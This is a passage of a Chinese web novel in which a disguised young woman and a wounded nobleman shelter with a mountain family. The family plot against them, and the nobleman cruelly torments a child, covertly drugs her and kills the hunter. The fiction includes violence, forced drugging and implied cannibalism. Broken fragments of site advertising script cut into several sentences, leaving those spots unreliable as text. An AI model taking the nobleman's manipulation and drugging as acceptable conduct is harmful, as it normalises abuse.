她将树叶丢进雨中,很快树叶被雨水和泥土砸得粉碎。 “我在这里守着,你可以安心休息。” 姜昙背过身面向雨幕,清瘦的身躯将风雨都挡在身前,正襟危坐,背影极为端直。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆青檐面无表情地盯了她许久,姜昙身形未乱,甚至一动不动。 . 姜昙的医术也不算生疏,果真如她说的一样,陆青檐感到无比困倦,不知何时睡了过去。 和这不知何时停了的雨一样,睡意来得突然。 他很久没有睡过这样的好觉。 醒来时不觉头疼,不觉头晕,不觉烦躁,一切舒畅。 不过在看到被子的那一刻,他的好心情瞬间消失无踪。 灰扑扑的被褥,漆黑湿冷的屋子,到处弥漫着一股腐朽腌臜的气息。 陆青檐的脸色眨眼间沉下来,好不容易有这样心情舒畅的时候,竟是在这等肮脏的环境里。 有那么一瞬间,他想立即召来护卫们。 姜昙推门而入,一副男人打扮的模样,手上端着一碗热气腾腾的鸡蛋羹。 黄澄澄的圆面上,还撒着碧玉似的青葱。 陆青檐凝神看了姜昙许久,就在姜昙心生疑惑之时,陆青檐指着姜昙空荡荡的发髻:“你就用金银饰品换了碗这种东西?” 原来他是在看这个。 “不止。除了吃的,还有两间屋子,一身布衣。柴大娘答应我们,可以在这里住到你伤好为止。” 姜昙晃了晃袖子,手腕上的两个镯子叮当作响:“何况我也没有多少金银饰品,贵重的都好好保存着。我没有吃亏,买卖很划算。” 按理说,陆青檐家中不缺钱花,可他似乎对姜昙与主人家的交易很不满意。 陆青檐捏着羹勺,冷脸将鸡蛋羹搅了个稀巴烂,他似乎没有胃口。 “我困了。” 将羹勺一扔,他躺下了。 想来陆青檐还气着先前的事,或是换了她,气上三天三夜也不够。 何况大户人家的公子,衣来伸手,饭来张口,再加上受了重伤,脾性大些,也是应当。 姜昙将鸡蛋羹放在床头的凳子上:“你若是有事叫我,我就在院子里。” 待姜昙蹑手蹑脚推门出去,陆青檐坐起来,将被子丢到一边去。 他端起那碗鸡蛋羹,打开了窗户,准备倒掉。 窗户外面大概是农妇的孩子,脸颊脏兮兮的不知沾着什么灰,一手拿着树叶做成的老鹰,愣愣地盯着陆青檐的脸看。 孩子看出了神,边看边啃指甲。 陆青檐忽然一笑,如春风细雨:“你想吃吗?” 他晃了晃手中的鸡蛋羹,孩子小鸡啄米点头。 陆青檐指了指孩子手里的老鹰:“把那个给我玩一会儿,这个就给你吃。放心,我不要你的东西,只玩一会儿我就还给你。” 孩子思考片刻,点头。 他的双手在衣服上蹭了又蹭,把泥土蹭干净,伸出手来的指甲缝里,却还有蹭不掉的黑泥。 陆青檐忍着嫌恶接过来,捻着那树叶老鹰看了看,新做的,倒是精巧。 “我是个守信之人,给你。” 孩子伸手去接鸡蛋羹,陆青檐手一松,那陶碗里的鸡蛋羹倾倒在窗户下的花盆里,陶碗还好好地握在手上。 陆青檐笑:“哎呀,手滑了。” “那鸡蛋羹虽然还能吃,却已经脏了。”陆青檐捻起树叶:“还是给你吧。” 孩子可惜地看了看花盆里粉碎的鸡蛋羹,去接树叶老鹰。 陆青檐手又滑了。 他两根手指捏着老鹰的两只翅膀,哧地一声,将树叶撕了个稀巴烂。 “真是对不住。”陆青檐将粉碎的树叶也扔出去:“还给你!” 关上窗户,孩子在外面哭得震天响。 陆青檐心情变得极好。 34. 第 34 章 姜昙正在帮柴大娘拧衣服,她挥了挥酸疼的手指。 许是太累了,竟有些腰酸背痛。 柴家小郎虎子哭着走过来,手指着花盆,话说不清楚。 虎子摊开手掌,一片破碎的树叶。 “撕坏了?” 虎子点点头,又摇摇头。姜昙不明白是什么意思,却知道如何哄好他。 她随手摘了两片树叶,给虎子做了两只老鹰。 “去玩吧。” 姜昙哄好虎子,看了看陆青檐的屋子,门窗紧闭。 他白天好像不大愿意出门,等晚上再去看看的伤吧。 姜昙推开自己的那间屋子,爬到床上睡着。 再醒来时,天已黑了。 姜昙想要下床,却浑身无力,且肚子那处,传来像是被人打了一拳的痛意。 她竟忘了月信的日子。 陆青檐在院中站得极不耐烦。 柴大娘给他搬了张椅子,他却不坐。以为他饿了,端出饭菜,他也不吃。 柴大娘只好劈柴,却劈得浑身不自在,被他盯着,就好像有毛毛虫在衣服里面爬一样。 片刻之后,柴大娘进了屋子,连同柴虎子,也一起拽了进去。 陆青檐推开侧手边的门。 这是姜昙住的屋子,和他的比起来,这间屋子要破败许多,简直和柴房一样。 不对! 连柴房也不如,柴大娘的所有房子加在一起,还不如陆家的柴房宽敞明亮。 姜昙安静地沉睡在床上。 睡得真的很沉,陆青檐进门并未遮掩动静,她却一点要醒来的意思都没有。 陆青檐立在床边,看着姜昙梦中蹙眉的脸,便知道她睡得有多不安稳。 “以彼之道,还施彼身。我只是稍稍用些手段,你就变成了这样。三年前你可不是这样,现在竟变得如此孱弱不堪。” 陆青檐嗤笑:“姜昙,你可真教人看不起。” 姜昙忽然翻过身来,似乎牵动什么伤处,疼得抽气,额角都是汗。 陆青檐观察着她的神色,眼神下移,寻到了缘由—— 她的腿。 “这就是做好人的代价!” 陆青檐掰过姜昙的下巴,将手中的药粉往她口中倒去,姜昙神情一变,张嘴欲呕。 三年未见,她还是如此排斥一晌贪欢。 宁可吃魑魅魍魉,也不肯吃一晌贪欢。 她不吃,他还偏就要喂! 陆青檐狠狠地捂住了她的唇,教她全部咽了下去。 睡梦中,姜昙紧蹙的眉头慢慢松开。 出来时,夜幕已经降临。 柴大娘还未睡下,陆青檐将门阖上的那一刻,柴大娘房里的烛火突然灭了。 他不由看了一眼那扇窗户,并无动静。 片刻后,陆青檐沿着墙面,缓缓地摸进自己的屋子。 待他进屋后,柴大娘房里的烛火又亮了起来。 柴大娘掀开窗户缝,偷偷看了眼两间紧闭的房门,回头对虎子说:“记住了没有,进右手边的门!千万别进错了!” 那个男人皮相生得不错,但有些邪门儿,眼神阴森森的,看起来不好招惹。 虎子困倦地点点头,一副懵懂的模样。 柴大娘恨铁不成钢地戳着他的脑门:“蠢东西!” 算了,进错也无事。说到底是个瞎子,能起什么风浪? 被娘骂蠢东西,虎子一屁股坐在地上,嗷嗷地哭着。 “小声点!别让他们听见了!” 柴大娘将傻儿子捞进怀里,抹了一把他的眼泪和鼻涕,蹭到一边的墙上。 柴大娘哄着虎子:“等你爹回来就好了,你爹最会做羊肉汤,虎子喝了羊肉汤就会变聪明了。” 柴大娘无比笃信。 翌日清晨,姜昙醒来,摸了摸肚子,一点也不疼。 昨日疼晕过去,睡了一觉反倒好了。连腿上的刺痛好似也减轻了不少。 姜昙是个坐不住的人,恢复精神,立刻就要下床活动活动。推开房门,放进来一地金灿灿的阳光。 天晴了。 这是个好消息。 天晴后,水就会慢慢退去,下山的路就会变得好走了。 柴大娘将早饭摆在院子里,几碗稀粥,一盘野菜,已是山野村夫难得的美味。 姜昙去帮忙,待几人用完简单的早饭,便轮到了陆青檐。 陆青檐的三餐由姜昙负责,山中无野食,唯一珍稀的是鸡蛋。 柴大娘家只有一只母鸡,每天只下一个鸡蛋,往常都是存起来,十天半个月吃一回,且这一回必须得是家中的顶梁柱柴猎户回来时才吃。 陆青檐住下后,这鸡蛋便属他独有,算在姜昙付的钱款之内。 虎子看着水煮鸡蛋,眼巴巴地流口水。 姜昙准备好早饭,在陆青檐紧闭的房门前踟蹰。 先前只有他们二人相依为命,亲密之举是不得已而为之。 现下与那时不同,男女有别,她得保持距离才合适。 犹豫片刻,她将早饭放到虎子手上,请他帮忙送进去。 虎子其实不太愿意去。 他还记得,上次这个人撕了自己的老鹰,他跟娘说娘却不信,香姐姐肯定也不信。 虎子偷偷开了道门缝,打算趁里面的人没有醒,把早饭一扔就跑得远远的。 可惜他一探进去脑袋,就对上了一双冷漠的眼睛。 撕了他老鹰的那个人,一直站在窗户边上,不知道往院子里看了多久。察觉到有人进来,投过来的眼神非常吓人。 妖精! 虎子吓得要跑,陆青檐却温柔地招手:“进来,我给你看个好玩的东西。” 虎子经受不住诱惑,磨磨蹭蹭地进去了。 他朝陆青檐摊开双手,后者笑了笑,将紧握的手掌向下松开。 “好了,给你了。” 虎子眨了眨眼,手掌空空!骗子! 虎子愤怒地看着陆青檐,他却说:“我可没有骗你。只是我这个好玩意儿,只有聪明人才能看得见,蠢东西什么也看不见。” 陆青檐比划着:“它是一只鸟,有这么长的尾巴,七种颜色的羽毛……你看到了吗?” 虎子像模像样地点头。 陆青檐嗤笑,暗道:蠢货。 “鸟儿说话了。它说昨天晚上,你娘跟你说了一些话,你们说的什么?” 陆青檐笑看着他:“这是只有聪明人才能回答出的问题。” 虎子迫不及待证明自己是聪明人,说:“娘说,爹给我做羊肉汤,喝了汤,变聪明。” 陆青檐已观察过,柴家大概在半山腰往上的位置,四处连邻居也没有,十天半月也不见人上山来。 柴家除了一只母鸡,没有别的活物,用家徒四壁来形容,都是瞧得起他们。 “这山上哪来的羊?” 虎子指了指陆青檐。 想起羊肉汤的味道,虎子舔了舔嘴巴。这个人这么好看,羊肉汤一定很好喝。 陆青檐的笑容有一瞬凝滞。 领会到虎子话中的意思,凝滞的笑意如冰雪消融,愈发深刻。 陆青檐的声音低沉而阴鸷:“喝羊肉汤真的能变聪明?” 陆青檐开怀笑出了声,手掌抚过虎子的头盖骨, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 盯紧他的双眼:“我也想喝羊肉汤,变得更聪明,怎么办呢?” 他打量虎子的身体,仿佛真地在考虑,从哪里割下一块来煮汤。 柴大娘在外面喊:“虎子出来,别弄脏了贵人的屋子!” 虎子被一股大力狠狠按着脑袋,动弹不得。 陆青檐听到声音后,忽然淡淡松开手,虎子害怕地躲到门后。 陆青檐拿起水煮鸡蛋,恢复那副温柔的样子,笑着招手:“想不想吃,给你吃。” 有了上次的教训,虎子生怕陆青檐反悔,眨眼间就吞进嘴里。 陆青檐见他这副模样,笑意更深:“多吃点,都给你吃。” 虎子还不明白他为什么笑,认真地扫荡桌上的饭菜。 下一刻,陆青檐砸了桌上的陶碗,摔在地上。 “来人!” 姜昙听到惊叫声,推门而入。 只见陆青檐头发披散,一副刚醒来的模样,一手撑着墙面,看起来虚弱无力。 “长公子可有事?伤口又流血了吗?” 姜昙连忙去搀扶他,陆青檐身体应是还未恢复,只能倚靠她才能勉强站着。 “姜妙仪,陆某虽在陆家不受宠爱,可也受到了最起码的尊重,你为何要让我吃残羹剩饭?是在侮辱我吗?” 陆青檐指着桌子上的早饭说道。 鸡蛋只剩下蛋壳,米粥被喝过了,连姜昙特意用油拌过的野菜,也被翻动过。 而罪魁祸首,无疑是虎子。 虎子不断摆手,可他嘴角还有食物残渣。 柴大娘突然跳出来,狠狠扇了虎子一巴掌,虎子痛得哇哇哭。 “贵人吃好东西养身体,养脑子!你竟敢偷吃!” 柴大娘揪着虎子的耳朵出门:“叫你馋嘴!” 虎子回头看,姜昙的眼神不忍。 陆青檐站在姜昙身后,对他无声笑了笑: 蠢货。 虎子哭得更大声了。 姜昙忽然出声:“长公子今日心情似乎比昨日好了些,外面出太阳了,要不要出去看看?” 偏僻山野,有什么好看的? 陆青檐淡淡说道:“伤口疼,不想动。” 姜昙敏锐地察觉到,陆青檐的心情又不好了。 大概她又惹他生气了。 “那长公子在屋里歇息,待会儿我会送新的早饭过来,乡野糙食,还请公子不要嫌弃。” 陆青檐一个贵族公子,恐怕比她更想尽快离开这里。可他却因为自己身负重伤,姜昙自觉担负起寻路的责任。 姜昙告诉他自己的打算,好安他的心: “午后柴大娘去砍柴,我会随她一起去帮忙,顺便去探路。天晴之后,路会好走很多,最快两日,我们应该就能离开这。” 姜昙站在门外,陆青檐面无表情看了过来。 姜昙立刻摆手:“我并不是阻碍长公子养伤的意思!只是方才我观你面色,和昨日一样苍白。想必我用的药效用已到极限,故而你的伤才没有起色,需要尽快下山——” “好。” 陆青檐嘴角多了一抹礼貌的淡笑,隔着半扇门,那笑容并不真切。 陆青檐说:“好极了。我与你想的一样,我也早就想离开这里,一刻也等不得。” 说完,陆青檐关上了门。 姜昙的声音从门后传来,有些沉闷:“那我待会儿就去收拾行李,尽量明日就离开这。” 脚步声小心翼翼地远去。 窗边的破瓦罐里装了一束花,那是姜昙从山间采的,每日一束,稚嫩鲜亮。 陆青檐将花朵揪了个干净,扔到地上,狠狠碾碎。 35. 第 35 章 一切与姜昙所料不差。 雨水退得很快,下山的小路稍有泥泞,再等一日,连泥土也会变干,那时正适合下山。 按照当日上山所用时辰估算,沿着小路走,不出一个时辰,两人就能回到扬州城里。 柴大娘对此很是惋惜:“怎么就要走呢?才住下没两日,这山上不好吗?不比扬州城里差呢!” 柴大娘似乎很想留下她,但……好像不是留客暂住几日的那种留法。 姜昙按下心中的异样,笑说:“我并没有嫌弃山上的意思,只是我这条腿必须尽快找大夫医治,否则下半生就要变成一个瘸子了。” “哎,瘸子也没什么,又不会嫌弃你……” 姜昙蓦然抬眼:“谁不会嫌弃我?” 柴大娘面容一僵,回神后打了两下嘴:“瞧我这个不会说话的!大娘不是那个意思,大娘明日就送你们下山。” 当晚,多日离家的柴猎户回来了。 柴猎户是个五大三粗的汉子,眼睛瞪得牛铃一般大。 看到家中两个客人,柴猎户非但没有怪罪妻子贸然做主收留外人,反而十分热情地要宰鸡烹肉,为客人饯行。 姜昙连说几遍不用了,然而趁她不注意,柴猎户已杀了家中唯一的母鸡,还将从山中猎到的活物一起下了油锅。 柴虎子乐得上蹿下跳,一家人欢欢喜喜,宛如过年一样。 晚饭时,柴猎户要请陆青檐出来用饭。 姜昙挡在门前,客气地劝阻:“我这位兄弟身有重伤,不能吃野物,只能用清淡之食,不用管他。他的晚饭我会另外做好再送去。” 最重要的是,陆青檐白天不常出门,就算出门也不与柴大娘母子说话,他应是一个喜静之人。 近来又心情不好,姜昙不想外人打扰他。 柴猎户毫不客气,直接越过姜昙,要去推门。 可还未碰到,那门竟自己从里面打开了。 吵嚷声一瞬间消失。 陆青檐并未束发,衣襟也是松松垮垮,看起来很是随意。 姜昙正要说什么,陆青檐却虚虚握住姜昙挡门的手,拿开了。 他上下打量着眼神纳罕的柴猎户,噤若寒蝉的柴大娘,和躲到墙根的虎子,淡淡说道:“抱歉,我饿了,可有膳食?” 一眼也未看姜昙。 “有有有,有的是!”柴猎户殷勤地用衣袖反复擦凳子:“贵人请。” 柴家人热热闹闹地伺候陆青檐坐下,姜昙沉默地站了半晌,无人理她,也跟着入座。 饭桌上仅有三人,柴大娘和虎子不见踪影。 姜昙问起他们,柴猎户说:“有外客在,女人和孩子怎么能上桌吃饭!” 姜昙不敢苟同。 趁着柴猎户不注意,她偷偷夹起几块肉和菜装到碗中,溜出了门,并未察觉到身后陆青檐追随过来的目光。 柴大娘和虎子在厨房坐着,姜昙劝他们去桌上吃饭,柴大娘却不肯,说的是和柴猎户一样的理由。 知道劝不动,姜昙于是将碗中的肉菜端给柴大娘,柴大娘连连摆手,不肯吃。 虎子眼巴巴地伸手去拿,被柴大娘狠狠扇了一巴掌:“不许吃!” 看到姜昙诧异的眼神,柴大娘讪笑着解释说:“我们家的规矩就是这样,等你们吃过了,我们再吃。” 姜昙半信半疑。 回到饭桌上,柴猎户正放声大笑。 柴猎户很喜欢喝酒,更喜欢有人陪着自己喝酒。 为了待客,他将家中所有酒都摆了出来,说:“我与贵人,不醉不归!” 说罢,他自己咕咚咕咚饮尽一坛,如喝水一般,然后将酒推到陆青檐面前。 陆青檐拿着筷子,正夹着盘子里一根绿油油的食物,迟迟不入口。他翻来覆去地对着光看,似乎在判断,这究竟是青虫,还是野菜根。 对于柴猎户劝酒的那些话,他一个字也没听进去。甚至,连一个眼神也不曾分过去。 柴猎户又说了一遍,这一次,他高高地将酒碗奉至陆青檐面前,态度十足恭敬。 陆青檐仍是不理,他将夹起的菜放下,筷子也随意丢在桌上。似乎在表示,满桌子的菜,没有一个是人能吃的。 一次两次被人下面子,就算是再迟钝也该反应过来,他是故意的了。 柴猎户本就因喝酒而红的脸,变得更加涨红,眼看着快要炸了。 姜昙站了出来。 “柴大叔,我敬你一杯。” 姜昙接过柴猎户的酒碗,仰头一饮而尽,说:“他不能喝酒,我代为饮之。” 柴猎户高兴起来,又给姜昙倒了一碗。 陆青檐看着姜昙泛红的侧脸,别过脸冷笑。 他突然对桌上的一碗肉起了兴致:“这是什么肉?” 桌子中央放着一个大陶碗,碗中盛着冒尖的肉块,油汪汪的。 柴猎户心中不免得意,就算是扬州城里的贵人,也有没尝过的美食。 “前几日我上山,撵着一头母狼跟到了它的窝,趁它出去找食,掏了狼窝。嚯!这么肥的狼崽子,足足有三只,我用刀一捅,狼崽子就断了气,再把它肚皮一割,肠子就教我掏出来了。细溜的一串,比筷子粗不了多少……那母狼成日在山中惨嚎,找它那崽子,却不知都到咱的肚子里了!” 柴猎户哈哈大笑。 “别客气,吃呀!” 说着,柴猎户夹起一块肉放入嘴里嚼着,肥油顺着嘴角淌下来。 姜昙胃中泛出一阵呕吐的冲动,生生忍住了。 方才若不是突然想起给柴大娘母子送吃的,她就要将那块肉吃下去了。 “来来来,我们喝。” 柴猎户一碗一碗地,不停倒着酒。 姜昙东拉西扯,根本抵挡不住。 陆青檐冷眼看着,嗒地一声放下筷子,惹得桌上两人都来看他。 他才微微笑道:“我伤口有些疼,先去歇息,恕不奉陪。” 姜昙一听,关切地问:“公子可要喝止痛的药,今日我找到了些药草……” 陆青檐看她一眼,并不说话,起身预备离开。 姜昙顿时有些慌,她也跟着站起来:“柴大叔,不能喝了!我二人明日还要赶路,不能喝太多。” “我喝了好几坛酒,你才喝了两坛不到,这哪里算多?” 柴猎户站起来,小山一样的阴影盖住了姜昙。 他的眼珠子瞪得快掉出来:“小兄弟,我们柴家费心费力款待你,你莫不是看不起我乡下人,故而敷衍我,不想陪我饮酒罢?” 姜昙简直没法接话。 “长公子……” 姜昙救助的眼神望向陆青檐,他淡淡看了这处一眼,接着关上了门。 他并不打算帮她解围。 姜昙只好继续饮酒,不多时,她醉倒在桌子上,连头都抬不起来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “姜兄弟?” 柴猎户叫道,姜昙没有回应。 柴猎户短促地笑了一声,伸手来托姜昙的身体,姜昙却在此时蓦然站起来,柴猎户吓了一跳。 “我困了,得回屋歇息了。” 姜昙迷迷糊糊地撑着桌子起来,身形晃晃悠悠地撞开门,险些摔倒在地。 门外站着柴大娘,好在姜昙揽住了柴大娘的手臂,才勉强站住了。 “歇息,我也要歇息……” 柴大娘看着姜昙醉醺醺的面容,对自家男人摇了摇头。 柴猎户的面容放松下来,大声笑道:“才喝这么点就不行了,娘子,扶着姜兄弟去歇息吧!” 待姜大娘关上门离开,姜昙突然睁开眼睛。 黑暗之中,她从床上爬起来,贴在门口静听了许久外面的动静。 万籁俱寂,没有异动。 姜昙瘫回床上,应该是自己多想了。 这么多天,柴大娘对她一直不错,几乎是有求必应。这其中当然不乏金银的缘故,但山中物资匮乏,柴家吃用本就紧张,还让出来给他们,实在让她感恩。 山中暴风骤雨,若不是柴家收留了他们,或许此刻她就不会醉酒躺在这里了。 姜昙松了口气,放松地睡了过去。 不知过了多久,姜昙忽然觉得很热。柴大娘家的被子很厚,姜昙半夜总被热醒。 姜昙推开被子,却发现推不动。 温热的呼吸扑在脸上,姜昙意识到什么,猛然清醒。 这一次她推动了,身侧有什么掉了下去。 地下有人在哭:“呜呜呜,姐姐你干什么推我?” 是虎子! 姜昙却没有放松:“你是怎么进来的!” 她睡觉时,分明会把门关紧,并且用凳子抵住。虎子只是一个半大的孩子,怎么可能推的动? 虎子指了指地面:“从那进来的。” 姜昙一摸地面,那里竟有一个地道,通往何处,不言而喻。 一瞬间,姜昙的汗毛竖起来了。 “谁告诉你,要叫我姐姐?” 自到柴家以来,她一直是男人打扮,连柴大娘也没有告诉,陆青檐一看她的装扮,就知道她的用意,更不会告诉别人! 因此,虎子一直都叫她哥哥。 虎子想了半天才反应过来,自己不小心暴露了。 娘说过,哥哥的下面会流血,哥哥实际上是一个姐姐。但不能当着她的面叫她姐姐,因为她会生气。 但没关系。 虎子走过来抱住姜昙的腰,深吸了一口香气:“我们很快就是一家人了,娘说睡一觉起来,从明天起,你就是我的娘子了。娘子以丈夫为天,我是你的天,你不能生天的气。” 姜昙毛骨悚然,一把将虎子推倒在地。 “娘子,你怎么了?”虎子拍拍屁股站起来,还要来抱她。 “别过来!” 姜昙见鬼了一样看着虎子。 霎时间,她的脑中思绪万千。 来不及想柴家是怎么算计自己,也来不及想今晚的饭菜中是否有问题。 姜昙脑中只有一个念头—— 柴家能这么对待自己,那么他们又是怎么对待陆青檐的? 现在想来,饭桌上柴大叔频频偷看陆青檐的眼神,绝对不是好奇。 酒意未散,姜昙头痛欲裂,她再也抑制不住,扶着墙面呕吐起来。 36. 第 36 章 门扉发出吱呀的响声。 柴猎户顺着门缝钻入门内,轻轻地关上,再蹑手蹑脚地往里走去。 “咚”地一声,他不知撞到什么,伸手一扶,原来是个破瓦罐。瓦罐里有些水,洒到了手指上。 柴猎户凑至鼻下一嗅,香。 原来是装花的瓦罐,水也是沾了花香的水,真香啊。 这个屋子原先是装破旧家什的,现在的变化可谓天翻地覆。 不大的屋子中间,挂了一左一右两层纱帐,借着窗户缝里透出的月光,看起来沾了仙气儿似的。 柴猎户搓了搓手。 听说权贵人家的公子哥们,一生下来就是白得很,不比山野的娘们似的黝黑。 他原先听到这些传闻,只当是人们编的。今日亲眼得见,乖乖,果真是神仙下凡! 脑子不必说,自然是聪明的。 只是不知道那一身皮肉,是否也跟传闻中一样,比娘们儿的更细腻。 帐子后,床上的人毫无动静,似乎乖乖地睡在床上,对即将发生的事情丝毫没有察觉。 柴猎户激动地掀开了纱帐。 漆黑的房间内,他甚至能听得见自己的喘息声和心跳声。 可是下一刻,他对上了一双泛着寒意的眼睛。 柴猎户的心跳骤停,一瞬间,仿佛有什么从脚底只冲头顶,浸透全身。 许久,他才缓过神来。 “原来贵人没睡啊?” 柴猎户忍住想骂娘的冲动,腆着脸笑。 陆青檐的眼眸流转,月光在他的眼中藏起来。 他看向柴猎户的手:“你来做什么?” 同样泛着寒光的,还有柴猎户手里的砍刀,他曾用这把刀捅死了那三只小狼崽。 柴猎户把刀藏在身后,讪讪说:“没什么,贵人怎么不睡觉?” 陆青檐说:“头疼,睡不着。” 他的声音淡而低沉,听起来像是在轻声叹息,没什么力气,自然也没什么威胁。 柴猎户的胆子一下子大了起来。 别说他还受着伤,就算是身体好时,估摸也拧不过自己的胳膊。 真香啊,柴猎户闭上眼睛深嗅,又闻到那股香气。 陆青檐忽然起身,点了一盏油灯。 柴猎户没拦着,因为这贵人公子,看起来并没有害怕和想要逃跑的意思,反而重新回到了床边。 昏黄的灯光一照,贵人的好颜色愈发看得清楚。 低垂的眉目,微红的眼尾。硬朗的男子脸庞,教垂下来的长发一遮,看着跟女儿家似的温柔。 柴猎户的呼吸声变得沉重。 “贵人……”因激动和兴奋而变得扭曲的声音。 贵人对他笑了一笑,上下打量他一眼。 这一眼看得柴猎户热血沸腾,沉重的呼吸声再也压抑不住,硕大的身躯直冲冲地扑了上去。 陆青檐并不挣扎。 忽然,柴猎户身体猛地一抖,手臂松开。 陆青檐反手揽住他的肩,在他耳边叹息似地问了一句:“爽吗?” 柴猎户喉咙里发出“嗬哧嗬哧”的回应,像是喘不过来气。他侧头来看陆青檐,牛铃一般的眼睛瞪得更大了。 陆青檐血红的眸子弯起,展颜而笑。 手下匕首拔出来,再次往他腹中一顶,又问了一次:“爽吗?” 柴猎户张嘴想要说什么,陆青檐推开他。 小山一般的身形,轰然倒塌在地。 陆青檐擦了擦脸上的血,用力碾着尸体的下半身。 “老子问你,爽不爽啊?” 地上那人似是死了,又或许还有一口气在。 陆青檐拔出枕边的长剑,曳地而来,准备给柴猎户最后一剑。 他高高地举起剑。 “陆长公子!” 有人站在门口,不可置信地叫了他一声。 陆青檐的手顿住了,眼睫微颤。魑魅魍魉的药性还未过去,他的双眸仍是血红的。 陆青檐一动未动,姜昙又唤了一声:“陆长公子。” 这一次的声音,轻得仿若听不见。 陆青檐终于动了:“这么晚,还不睡做什么?” 此情此景,他竟还能镇定地问出这种话。 陆青檐低着头,长发遮住了半张脸,姜昙看不清他的神色,只看得到滴血的长剑: “按大昭律法,杀人者当偿命。穷凶极恶之徒,处以凌迟。但……” 地上的尸体暴起。柴猎户竟还没死! 姜昙愣在当场,未反应过来,柴猎户已死死勒住她的脖颈。 “长、长……公子……” 姜昙下意识向陆青檐伸出手。 夜风吹拂,纱帐飘扬而起。陆青檐的脸在纱帐后忽隐忽现,他在看着她—— 却无动于衷。 和今晚饭桌上被柴猎户灌酒一样,陆青檐只冷眼旁观,并不打算帮她。 姜昙仅疑惑一瞬,就想明白了。 他确实不该帮她。 陆府石林中摔断腿,是他背她回来,被施茂林打了一顿,也并不在意。 佛寺遇刺那夜,受了她一刀,还被她冷言相对,他仍不计前嫌。 后山悬崖下,又受她一刺,还为她挡刀,性命垂危。 而到现在,她所能做到的,不过是治伤,照顾他的膳食,换成任何一个人来,都可以做到。 算起来,果真欠他许多。 平心而论,陆青檐没有理由帮她。 姜昙几近窒息。 这时,忽然听得一声闷哼,柴猎户松开手,捂住脖颈,鲜血汩汩从指缝流出。 那是很干脆利落的一剑,从后脖颈直穿喉咙而过,在姜昙眼前停下,接着迅速拔出。 柴猎户倒了下去,姜昙也跟着摔倒在地,她身上一点力气都没有,只好仰面躺在地上。 陆青檐提着剑,一身鲜血,他还是帮她了。 “我杀了人,你要抓我去见官吗?” 姜昙失声笑了:“若说杀人,我也杀过了。” 比如之前的锦衣卫。 姜昙声音嘶哑:“方才我是想说,按大昭律法,杀人者当偿命。但大昭律法也说,若面对匪徒,尽可斩杀,杀人者无罪,且有功。” 毫无疑问,柴猎户是匪徒。 静谧的房内,是姜昙剧烈起伏的呼吸声。 劫后余生,姜昙笑说:“陆长公子,我又欠你一回。” 陆青檐握剑的手松弛下来,他一手摸上双眼,已恢复寻常的温度,不再滚烫。 药性已散,血红色消失了。 陆青檐说:“姜姑娘,你可真是一个有意思的人。” 听见这句话,姜昙下意识地紧绷身体,紧接着,她想到陆青檐对自己的救命之恩,那股紧绷之意又散了。 她撑着地面爬了起来:“我只是记着长公子的恩情。” 陆青檐继续说:“不过,你方才说的话,我却不太信。” 大昭律法,姜昙当年一字一字背诵过,并由刘仲青亲自检查,绝对一字不差。 “那你要怎样才能信?” 陆青檐握紧剑柄,走近姜昙,示意她看地上的柴猎户:“他没死,还留有一口气。所以,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不算杀人。” 他把剑交到姜昙手中,指着柴猎户仍在起伏的心口:“除非,你证明给我看。” 亲自杀了他。 陆青檐的手掌隔着袖子握上来,温热而有力地迫姜昙刺中柴猎户。 柴猎户不再动了,这下他是真的死了。 姜昙怔怔地站着,只听陆青檐说:“这下我信了。” 他微微笑着,像初见时那样友善:“嫂嫂,谢谢你来帮我。” “你……” 刚才他的模样,有些像……不对,不是他! 姜昙晃了晃脑袋,打量陆青檐的神色:“你不生我的气了?” 陆青檐笑说:“我怎么会生嫂嫂的气?只是嫂嫂之前告诫我注意分寸,可从没有人教过我这些,青檐唯恐再冒犯你,故而才与嫂嫂保持距离。现在看来,仿佛是有些太过注意分寸了。” 姜昙讪讪住嘴,说到底,还是她的错。 不过,说开了就好了。姜昙在人情世故上也不太擅长,这几日她还以为自己惹怒了他,原来都是错觉。 “至于恩情,尽数记在施兄头上,他走时我答应过他,要代他看顾好你。只是举手之劳,我不会食言。”陆青檐丢开染血的长剑:“故而,嫂嫂不必记得。” 不,这举手之劳也太重了,她是一定要想办法还的。 不过此时,好像还有另一件事更要紧,姜昙说:“天一亮,我们就得离开这!” 姜昙将虎子的事情尽数告诉陆青檐,他的脸上却没有多少诧异之色,仿佛早就知道了。 不过想想也是,方才她一进来,就见柴猎户躺在地上,手里还握着砍刀,一看就是行凶未遂的模样。 陆青檐应早就推断出了前因后果。 闻言,陆青檐说:“恐怕等不到天亮了。” “怎么说?” “柴家这个儿子,不是五岁,而是十岁。外表看上去是五岁的模样,是因为他天生痴傻,个头不高,故而让人以为他很小。” “那柴猎户……” “他今夜来,本意不是取我性命。”陆青檐指了指脑袋:“而是挖我的脑子。” 姜昙学医时,跟着看了不少诡异奇怪的古方。其中有一种医治痴傻之症的方子,叫作以形补形。 以人的脑子,补…… 姜昙眼前不知怎么,浮现起晚饭时,柴猎户嘴角流淌下油汪汪的肥油。 她忽然忍不住,弯腰干呕。 陆青檐拍了拍她的脊背:“真对不起,嫂嫂,我不该告诉你这些腌臜之事。” “不是你,是我自己的缘故。” 因只顾着低头干呕,姜昙并没有看到,陆青檐望向她时,眼中有充满恶意的笑意。 嘴上抱歉,他却未停,一面悠悠地说着,一面打量姜昙恐惧的反应。 若不是姜昙背对着他,陆青檐嘴角的笑怎么也遮掩不住:“柴猎户估计早就计划好了,挖去我的脑子治好他儿子,再将你留在山中,陪他儿子终老。可是不曾想,柴猎户来我房中,却……失手了。” 经他一说,姜昙浑身的寒毛直竖,不远处的地上还有柴猎户死不瞑目的尸体,她现下是一动也不敢动。 好在陆青檐并未走远,挡着那尸体。 “虎子被我下了迷药,睡到天亮才醒。柴大娘自从我醉酒后就出了门,不知去往何处,看样子一时半会儿不会回来。眼下是最好的时机。” 陆青檐说的很对,姜昙道:“我们现在就走。” 但来不及了。 门外,柴大娘以为自家男人已经得手,放声高喊着柴猎户和虎子的名字,归家来了。 37. 第 37 章 怎么办? 